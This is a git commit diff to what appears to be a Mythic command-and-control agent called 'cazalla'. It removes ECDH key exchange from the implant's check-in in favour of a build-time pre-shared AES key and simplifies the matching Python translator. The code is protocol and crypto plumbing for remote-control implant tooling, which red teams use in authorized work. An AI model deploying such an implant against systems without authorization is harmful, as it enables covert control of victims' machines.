code clean

This commit is contained in:
marcos.luna
2025-10-29 11:43:54 +01:00
parent 798349b3de
commit 6879eeca83
6 changed files with 16 additions and 228 deletions
@@ -153,35 +153,8 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
// === Leer clave pública del servidor y derivar AES si cifrado está habilitado ===
if (cazallaConfig->encryptionEnabled) {
SIZE_T tamanoClave = 0;
PCHAR pub_server = getString(respuestaAnalizador, &tamanoClave);
if (pub_server && tamanoClave > 0) {
printf("[CHECKIN] Recibida clave pública del servidor (%zu bytes)...\n", tamanoClave);
fflush(stdout);
if (!crypto_import_peer_pub_b64_and_derive_aes(pub_server)) {
printf("[CHECKIN] ERROR: fallo al derivar AES desde clave pública del servidor\n");
fflush(stdout);
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
printf("[CHECKIN] AES derivada correctamente\n");
fflush(stdout);
} else {
printf("[CHECKIN] ERROR: no se recibió clave pública del servidor (tam=%zu)\n", tamanoClave);
fflush(stdout);
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
} else {
printf("[CHECKIN] Cifrado deshabilitado: no se procesa clave pública\n");
fflush(stdout);
}
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
liberarAnalizador(respuestaAnalizador);
@@ -57,13 +57,9 @@
#define SHA256_HASH_SIZE 32
// Globals (simple single-agent context)
static BCRYPT_KEY_HANDLE g_currentKey = NULL;
static BCRYPT_ALG_HANDLE g_algECDH = NULL;
static unsigned char g_aesKey[AES_KEY_SIZE];
static int g_aesKeySet = 0;
static int g_encryptionEnabled = 0; // Track if encryption is enabled
static unsigned char g_pubRaw[512];
static DWORD g_pubRawLen = 0;
// Helpers
static void secure_zero(void *p, SIZE_T n) {
@@ -73,170 +69,7 @@ static void secure_zero(void *p, SIZE_T n) {
void crypto_cleanup(void) {
secure_zero(g_aesKey, sizeof(g_aesKey));
g_aesKeySet = 0;
if (g_currentKey) {
BCryptDestroyKey(g_currentKey);
g_currentKey = NULL;
}
if (g_algECDH) {
BCryptCloseAlgorithmProvider(g_algECDH, 0);
g_algECDH = NULL;
}
secure_zero(g_pubRaw, sizeof(g_pubRaw));
g_pubRawLen = 0;
}
// Generate ECDH P-256 key pair and export public raw (X||Y in ANSI X9.62 uncompressed form).
BOOL crypto_init_generate_pub_b64(char **pub_b64_out) {
NTSTATUS status;
DWORD keySize = 0;
DWORD resultLen = 0;
crypto_cleanup();
// Open ECDH algorithm provider (nistP256)
status = BCryptOpenAlgorithmProvider(&g_algECDH, BCRYPT_ECDH_P256_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
if (!BCRYPT_SUCCESS(status)) return FALSE;
// Generate ephemeral key pair
status = BCryptGenerateKeyPair(g_algECDH, &g_currentKey, 256, 0);
if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; }
status = BCryptFinalizeKeyPair(g_currentKey, 0);
if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; }
// Export public key in BCRYPT_ECCPUBLIC_BLOB format to know size
status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, NULL, 0, &resultLen, 0);
if (!BCRYPT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) { crypto_cleanup(); return FALSE; }
PBYTE pubBlob = (PBYTE)LocalAlloc(LPTR, resultLen);
if (!pubBlob) { crypto_cleanup(); return FALSE; }
status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, pubBlob, resultLen, &resultLen, 0);
if (!BCRYPT_SUCCESS(status)) { LocalFree(pubBlob); crypto_cleanup(); return FALSE; }
// BCRYPT_ECCPUBLIC_BLOB layout: ULONG dwMagic; ULONG cbKey; then X then Y
// For P-256, cbKey == 32
DWORD *magic = (DWORD*)pubBlob;
DWORD *cbKey = (DWORD*)(pubBlob + sizeof(DWORD));
PBYTE x = pubBlob + sizeof(DWORD)*2;
PBYTE y = x + (*cbKey);
// Produce uncompressed raw public point = 0x04 || X || Y
g_pubRawLen = 1 + (*cbKey) * 2;
g_pubRaw[0] = 0x04;
memcpy(g_pubRaw + 1, x, *cbKey);
memcpy(g_pubRaw + 1 + (*cbKey), y, *cbKey);
// Base64 encode
char *b64 = NULL;
if (!base64_encode(g_pubRaw, g_pubRawLen, &b64)) {
LocalFree(pubBlob);
crypto_cleanup();
return FALSE;
}
*pub_b64_out = b64; // caller must LocalFree when done
LocalFree(pubBlob);
return TRUE;
}
// Return public raw (LocalAlloc copy)
unsigned char *crypto_get_public_raw(DWORD *out_len) {
if (!g_pubRawLen) { *out_len = 0; return NULL; }
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, g_pubRawLen);
if (!buf) { *out_len = 0; return NULL; }
memcpy(buf, g_pubRaw, g_pubRawLen);
*out_len = g_pubRawLen;
return buf;
}
// Import peer public key (base64 of uncompressed point 0x04||X||Y), derive shared secret and set AES key = SHA256(shared)
BOOL crypto_import_peer_pub_b64_and_derive_aes(const char *peer_pub_b64) {
if (!peer_pub_b64) return FALSE;
unsigned char *raw = NULL;
size_t rawlen = 0;
if (!base64_decode(peer_pub_b64, &raw, &rawlen)) return FALSE;
if (!raw || rawlen < 1) { if (raw) LocalFree(raw); return FALSE; }
if (raw[0] != 0x04) { LocalFree(raw); return FALSE; } // expect uncompressed point
// Convert raw to BCRYPT_ECCPUBLIC_BLOB layout for import: dwMagic, cbKey, X, Y
DWORD cbKey = (DWORD)((rawlen - 1) / 2);
DWORD blobLen = sizeof(DWORD)*2 + cbKey*2;
PBYTE blob = (PBYTE)LocalAlloc(LPTR, blobLen);
if (!blob) { LocalFree(raw); return FALSE; }
// dwMagic: use BCRYPT_ECDH_PUBLIC_P256_MAGIC
DWORD *pmagic = (DWORD*)blob;
*pmagic = BCRYPT_ECDH_PUBLIC_P256_MAGIC;
DWORD *pcb = (DWORD*)(blob + sizeof(DWORD));
*pcb = cbKey;
memcpy(blob + sizeof(DWORD)*2, raw + 1, cbKey); // X
memcpy(blob + sizeof(DWORD)*2 + cbKey, raw + 1 + cbKey, cbKey); // Y
// Import as a public key
BCRYPT_KEY_HANDLE pubKey = NULL;
NTSTATUS status = BCryptImportKeyPair(g_algECDH, NULL, BCRYPT_ECCPUBLIC_BLOB, &pubKey, blob, blobLen, 0);
if (!BCRYPT_SUCCESS(status)) {
LocalFree(blob); LocalFree(raw);
return FALSE;
}
// Derive secret via BCryptSecretAgreement + BCryptDeriveKey
BCRYPT_SECRET_HANDLE secret = NULL;
status = BCryptSecretAgreement(g_currentKey, pubKey, &secret, 0);
if (!BCRYPT_SUCCESS(status)) {
BCryptDestroyKey(pubKey);
LocalFree(blob); LocalFree(raw);
return FALSE;
}
// Derive raw secret bytes using KDF: use BCryptDeriveKey with NULL mapping to get raw secret?
// Simpler: use BCryptDeriveKey with algorithm AES and use derived key bytes via KDF_SP800_56a_Counter (Windows default)
// We'll use BCryptDeriveKey with AES to obtain a 256-bit key directly into our g_aesKey.
BCRYPT_ALG_HANDLE aesAlg = NULL;
status = BCryptOpenAlgorithmProvider(&aesAlg, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
if (!BCRYPT_SUCCESS(status)) {
BCryptDestroySecret(secret);
BCryptDestroyKey(pubKey);
LocalFree(blob); LocalFree(raw);
return FALSE;
}
// Prepare KDF parameters: we'll request raw key material of length AES_KEY_SIZE
DWORD derivedKeyLen = AES_KEY_SIZE;
PBYTE derivedKey = (PBYTE)LocalAlloc(LPTR, derivedKeyLen);
if (!derivedKey) {
BCryptCloseAlgorithmProvider(aesAlg,0);
BCryptDestroySecret(secret);
BCryptDestroyKey(pubKey);
LocalFree(blob); LocalFree(raw);
return FALSE;
}
status = BCryptDeriveKey(secret, NULL, NULL, derivedKey, derivedKeyLen, &derivedKeyLen, 0);
if (!BCRYPT_SUCCESS(status)) {
LocalFree(derivedKey);
BCryptCloseAlgorithmProvider(aesAlg,0);
BCryptDestroySecret(secret);
BCryptDestroyKey(pubKey);
LocalFree(blob); LocalFree(raw);
return FALSE;
}
// Set g_aesKey to derivedKey
memcpy(g_aesKey, derivedKey, AES_KEY_SIZE);
g_aesKeySet = 1;
// cleanup
secure_zero(derivedKey, derivedKeyLen);
LocalFree(derivedKey);
BCryptCloseAlgorithmProvider(aesAlg,0);
BCryptDestroySecret(secret);
BCryptDestroyKey(pubKey);
LocalFree(blob);
LocalFree(raw);
return TRUE;
g_encryptionEnabled = 0;
}
// Initialize AESPSK key from base64 string (Mythic format)
@@ -85,14 +85,6 @@ SIZE_T b64tamanoDecodificado(const char* in) {
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') return 1;
if (c >= 'A' && c <= 'Z') return 1;
if (c >= 'a' && c <= 'z') return 1;
if (c == '+' || c == '/' || c == '=') return 1;
return 0;
}
static int b64_inverse(char c) {
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
@@ -102,21 +102,13 @@ def responseTasking(tasks):
def responseCheckin(uuid, server_pubkey=""):
"""
Construye la respuesta de checkin.
Incluye la clave pública ECC del servidor (base64) para que el agente derive la AES.
Nota: server_pubkey ya no se usa (cifrado AESPSK se inyecta en build time).
"""
data = bytearray()
data.append(commands["checkin"]["hex_code"]) # 0xF1
data += uuid.encode() # UUID del agente
# Si hay clave pública, añadirla con longitud (DWORD) + datos
if server_pubkey:
key_bytes = server_pubkey.encode()
data += len(key_bytes).to_bytes(4, "big")
data += key_bytes
print(f"[DEBUG] Añadida server_pubkey ({len(key_bytes)} bytes)")
else:
# Longitud 0 para clave pública (ya no se usa ECDH)
data += (0).to_bytes(4, "big")
print("[DEBUG] Sin server_pubkey en checkin")
return bytes(data)
@@ -52,14 +52,16 @@ def checkIn(data):
# Retrieve External IP
externalIP, data = getBytesWithSize(data)
# === Retrieve ECC Public Key if present ===
pub_key = None
# Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time)
# Leemos y descartamos la longitud (4 bytes) que siempre será 0
try:
pub_key, data = getBytesWithSize(data)
pub_key = pub_key.decode() if pub_key else None
print(f"[DEBUG] Clave pública ECC recibida: {pub_key[:60]}...") # truncada
except Exception as e:
print(f"[DEBUG] No se recibió clave pública ECC: {e}")
key_len = int.from_bytes(data[:4], "big")
data = data[4:]
if key_len > 0:
# Descarta los datos de la clave si existen (código legacy)
data = data[key_len:]
except:
pass
dataJson = {
"action": "checkin",
@@ -75,9 +77,6 @@ def checkIn(data):
"externalIP": externalIP.decode('cp850'),
}
if pub_key:
dataJson["pub_key"] = pub_key
return dataJson
@@ -131,8 +131,7 @@ class cazalla_translator(TranslationContainer):
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
server_pubkey = inputMsg.Message.get("server_key", "")
response.Message = responseCheckin(inputMsg.Message["id"], server_pubkey)
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")